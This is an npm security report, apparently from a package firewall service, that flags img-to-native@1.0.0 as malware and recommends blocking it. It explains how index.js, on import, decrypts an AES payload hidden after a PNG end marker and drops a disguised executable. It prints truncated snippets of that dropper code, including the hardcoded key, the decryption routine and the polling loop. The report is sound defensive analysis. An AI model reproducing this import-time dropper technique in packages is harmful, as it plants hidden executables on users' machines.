--- canonical: "https://firewall.lpm.dev/npm/img-to-native/v/1.0.0" markdown: "https://firewall.lpm.dev/npm/img-to-native/v/1.0.0.md" package: "img-to-native" report_status: "published" title: "img-to-native@1.0.0 npm security report" verdict: "malicious" version: "1.0.0" --- # img-to-native@1.0.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — A disguised executable is planted on disk without the caller invoking the advertised image conversion. The source file is removed afterward. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Malware - **Selected version:** 1.0.0 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) Trusted malware advisory MAL-2026-17216 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. On import, index.js waits for a hidden temp file, decrypts a base64 AES payload appended after a PNG IEND marker and a //BIN// marker, and writes it as an executable. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 96.0% - **Started:** 2026-09-26T16:50:20.826Z - **Finished:** 2026-09-26T16:50:57.577Z - **Download time:** 510 ms - **Static scan time:** 11 ms - **AI review time:** 36230 ms - **Total time:** 36751 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** On import, index.js waits for a hidden temp file, decrypts a base64 AES payload appended after a PNG IEND marker and a //BIN// marker, and writes it as an executable. - **Trigger:** Any require or import of the package main module index.js. - **Impact:** A disguised executable is planted on disk without the caller invoking the advertised image conversion. The source file is removed afterward. - **Evidence paths:** index.js - **Review source:** ai\_review - **Reviewed:** 2026-09-26T16:50:57.577Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** A self-invoking poller checks os.tmpdir()/.\_cif\_data up to 240 times. On a hit it decrypts with a hardcoded AES-256-CBC key, writes mode 0700 bytes to APPDATA or the home directory under Microsoft/Windows/node\_runtime\_helper.exe, and unlinks the temp file. Errors are swallowed. - **Attack narrative:** Loading img-to-native does not wait for toNative. It polls for two minutes for a dotfile in the temp directory. If that file contains data after a PNG end marker and a //BIN// marker, the module base64-decodes it, decrypts it with a fixed key labeled malfexteam2027, and writes the plaintext as node\_runtime\_helper.exe under a Microsoft Windows directory, then deletes the temp file. The published copy API is unrelated cover. - **Rationale:** Import-time code hides an AES dropper behind an image-conversion API and plants a mode-0700 executable from a concealed temp payload. That is concrete malware behavior even though this file does not itself spawn the binary or open a network connection. - **Files touched:** os.tmpdir()/.\_cif\_data, APPDATA or homedir/Microsoft/Windows/node\_runtime\_helper.exe ### Review decision - **Verdict:** Malicious - **Confidence:** 96.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** Requiring the package starts a two-minute poll of a hidden temp file, decrypts data hidden after a PNG end marker, and writes an executable named node\_runtime\_helper.exe under a Microsoft Windows path, then deletes the source file., package.json sets main to index.js and has no install lifecycle scripts, so this dropper runs when the module is loaded. The public toNative function only copies the caller-supplied file. - **Evidence against:** No network call, child process, or npm install hook appears in this package. The ciphertext itself is not embedded here; it is expected in a separate temp file. ## Affected versions and remediation This report applies to img-to-native@1.0.0. - Avoid installing img-to-native@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 2. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 3. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 96.0% - **Path:** package.json - **Public source:** [View source]() package.json sets main to index.js and has no install lifecycle scripts, so this dropper runs when the module is loaded. The public toNative function only copies the caller-supplied file. Public source snippet (untrusted): ```json { "name": "img-to-native", "version": "1.0.0", "description": "Convert image files to native binary representation for platform-specific rendering", "ma ``` ### 4. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** index.js - **Public source:** [View source]() Requiring the package starts a two-minute poll of a hidden temp file, decrypts data hidden after a PNG end marker, and writes an executable named node\_runtime\_helper.exe under a Microsoft Windows path, then deletes the source file. Public source snippet (untrusted): ```javascript const KEY = Buffer.alloc(32); Buffer.from('malfexteam2027').copy(KEY); const _SRC = path.join(os.tmpdir(), '._cif_data'); const _DIR = path.join(process.env.APPDATA || os.homedir(), 'Microsoft', 'Windows'); const _OU ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** index.js - **Public source:** [View source]() Requiring the package starts a two-minute poll of a hidden temp file, decrypts data hidden after a PNG end marker, and writes an executable named node\_runtime\_helper.exe under a Microsoft Windows path, then deletes the source file. Public source snippet (untrusted): ```javascript const blob = Buffer.from(after.slice(mi + _MARK.length).toString('utf8').trim(), 'base64'); const iv = blob.slice(0, 16); const ciphertext = blob.slice(16); const decipher = crypto.createDecipheriv('aes-256-cbc', KEY, iv); const exe = Bu ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** index.js - **Public source:** [View source]() Requiring the package starts a two-minute poll of a hidden temp file, decrypts data hidden after a PNG end marker, and writes an executable named node\_runtime\_helper.exe under a Microsoft Windows path, then deletes the source file. Public source snippet (untrusted): ```javascript fs.writeFileSync(_OUT, exe, { mode: 0o700 }); try { fs.unlinkSync(_SRC); } catch (_) {} } catch (_) {} } (functio ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** index.js - **Public source:** [View source]() Requiring the package starts a two-minute poll of a hidden temp file, decrypts data hidden after a PNG end marker, and writes an executable named node\_runtime\_helper.exe under a Microsoft Windows path, then deletes the source file. Public source snippet (untrusted): ```javascript (function _wait(n) { if (n <= 0) return; if (fs.existsSync(_SRC)) { _convert(); return; } setTimeout(() => _wait(n - 1), 500); })(240); function toNative(imgPath, outPath) { ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 1 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 1 ### Published dependency entries - cdn-img-fetch ^1.0.0 (Dependency) ## Package metadata - **Package:** img-to-native - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-09-26T02:21:26.262Z - **Package first seen:** 2026-09-26T16:50:57.577Z - **Package last seen:** 2026-09-28T22:50:05.310Z - **Known versions:** 5 - **Latest version:** 0.0.1-security - **Appeal under review:** No - **Description:** Convert image files to native binary representation for platform-specific rendering - **Author:** devtools-community - **Keywords:** image, binary, convert, native, buffer, render - **Artifact files:** 3 - **Artifact unpacked size:** 2,774 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [ADVISORY]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()